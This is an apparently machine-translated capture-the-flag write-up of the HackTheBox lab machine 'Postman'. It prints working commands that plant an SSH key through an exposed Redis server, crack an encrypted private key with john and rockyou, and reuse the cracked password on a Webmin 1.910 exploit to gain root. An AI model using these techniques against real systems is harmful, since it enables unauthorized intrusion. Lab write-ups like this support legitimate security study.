HackTheBox Writeup: Postman (Easy/Linux)

This page has been machine-translated from the original page.

I use the penetration-testing learning platform “Hack The Box” to study security. At the time of writing, my rank on Hack The Box is ProHacker.

This time I am writing up the retired HackTheBox machine “Postman”.

About This Article

The content of this article is not intended to encourage acts that are contrary to social order.

Please note that attempting attacks against environments other than those you own or are authorized to use may violate the Act on the Prohibition of Unauthorized Computer Access (the Unauthorized Access Prohibition Act).

All statements here are my own and do not represent any organization I belong to.

Enumeration
Getting a User
Privilege Escalation

Enumeration

As usual, I started with a port scan.

sudo sed -i 's/^[0-9].*$RHOST/10.10.10.160  $RHOST/g' /etc/hosts
nmap -sV -sC -Pn -T4 $RHOST| tee nmap1.txt
# All ports
nmap -p- $RHOST -Pn -sC -sV -A  | tee nmap_max.txt

MiniServ 1.910 was an application I had never seen before.

PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 46:83:4f:f1:38:61:c0:1c:74:cb:b5:d1:4a:68:4d:77 (RSA)
|   256 2d:8d:27:d2:df:15:1a:31:53:05:fb:ff:f0:62:26:89 (ECDSA)
|_  256 ca:7c:82:aa:5a:d3:72:ca:8b:8a:38:3a:80:41:a0:45 (ED25519)
80/tcp    open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: The Cyber Geek's Personal Website
|_http-server-header: Apache/2.4.29 (Ubuntu)
10000/tcp open  http    MiniServ 1.910 (Webmin httpd)
|_http-title: Site doesn't have a title (text/html; Charset=iso-8859-1).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Connecting to port 80 brought up what looked like a blog site.

I checked the page source but found nothing particularly interesting, and gobuster did not turn up any useful paths either.

On the other hand, Webmin 1.910 on port 10000 appeared to have an RCE vulnerability.

However, exploiting this vulnerability required credentials, so I needed to find those first.

Reference: Webmin-1.910-Exploit-Script/webmin_exploit.py at master · roughiz/Webmin-1.910-Exploit-Script · GitHub

Accessing Webmin required the hostname postman:10000, so I updated the hosts file accordingly.

I got somewhat stuck here, but a more detailed port scan revealed that port 6379 was also open.

6379/tcp  open  redis   Redis key-value store 4.0.9

Reference: 6379 - Pentesting Redis - HackTricks

Following that reference, I tried various approaches including reverse shells and file injection, but none of them worked cleanly.

However, I ultimately succeeded in obtaining an SSH shell using the following commands:

(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > temp.txt
cat temp.txt | redis-cli -h 10.10.10.160 -x set ssh_key
redis-cli -h 10.10.10.160
config set dir /var/lib/redis/.ssh
config set dbfilename "authorized_keys"
save

Getting a User

With a shell obtained as the redis user, I next aimed to get the User flag.

The username turned out to be Matt.

Checking the shell history showed various operations being performed under Matt’s account.

redis@Postman:~$ history
    1  exit
    2  su Matt
    3  pwd
    4  nano scan.py
    5  python scan.py
    6  nano scan.py
    7  clear
    8  nano scan.py
    9  clear
   10  python scan.py
   11  exit
   12  exit
   13  cat /etc/ssh/sshd_config 
   14  su Matt
   15  clear
   16  cd /var/lib/redis
   17  su Matt
   18  exit
   19  cat id_rsa.bak 
   20  ls -la
   21  exit
   22  cat id_rsa.bak 
   23  exit
   24  ls -la
   25  crontab -l
   26  systemctl enable redis-server
   27  redis-server
   28  ifconfig
   29  netstat -a
   30  netstat -a
   31  netstat -a
   32  netstat -a
   33  netstat -a > txt
   34  exit
   35  crontab -l
   36  cd ~/
   37  ls
   38  nano 6379
   39  exit

There are various things worth investigating, but first I looked at id_rsa.bak.

Opening the file revealed an encrypted private key.

If I could recover a password from somewhere on the machine, I might be able to decrypt it.

I got stuck here, so I ran linpeas — but that did not reveal anything useful either, so I decided to try brute force.

I cracked the password using the following commands:

# Crack the SSH key
$ python /usr/share/john/ssh2john.py id_rsa.txt > id.hash
$ john id.hash -wordlist=/usr/share/wordlists/rockyou.txt

I decrypted the RSA key using the recovered passphrase, but attempting to use it for SSH still failed for some reason.

$ openssl rsa -in encrypted -out decrypted

In the end, I used the SSH shell I had already obtained as redis and ran su Matt with the cracked password to get the User flag.

Privilege Escalation

After getting Matt’s shell, checking the history showed a wide range of commands that had been executed.

I started by running linpeas with Matt’s privileges, but nothing obviously useful for privilege escalation turned up.

Next, on a hunch, I tried logging into WebAdmin with the username Matt and the same password — and it worked.

The version was 1.910.

Looking at the linpeas output more carefully, I found that WebAdmin was running as root.

I also confirmed that Webmin 1.910 is vulnerable to an RCE exploit that can be used when credentials are known.

Reference: GitHub - roughiz/Webmin-1.910-Exploit-Script: Webmin 1.910 - Remote Code Execution Using Python Script

I modified that exploit slightly and ran it, which successfully gave me a root shell.

Done!!

Published Aug 9, 2022

Aspiring Reverse Engineer and CTF Player (Team: 0nePadding). Passionate about WinDbg and Anti-Virus internals. OSCP / CISSP. Working at Microsoft Japan, but all views expressed are my own.かしわば(@kash1064) on Twitter

HackTheBox Writeup: Postman (Easy/Linux)

About This Article

Table of Contents

Enumeration

Getting a User

Privilege Escalation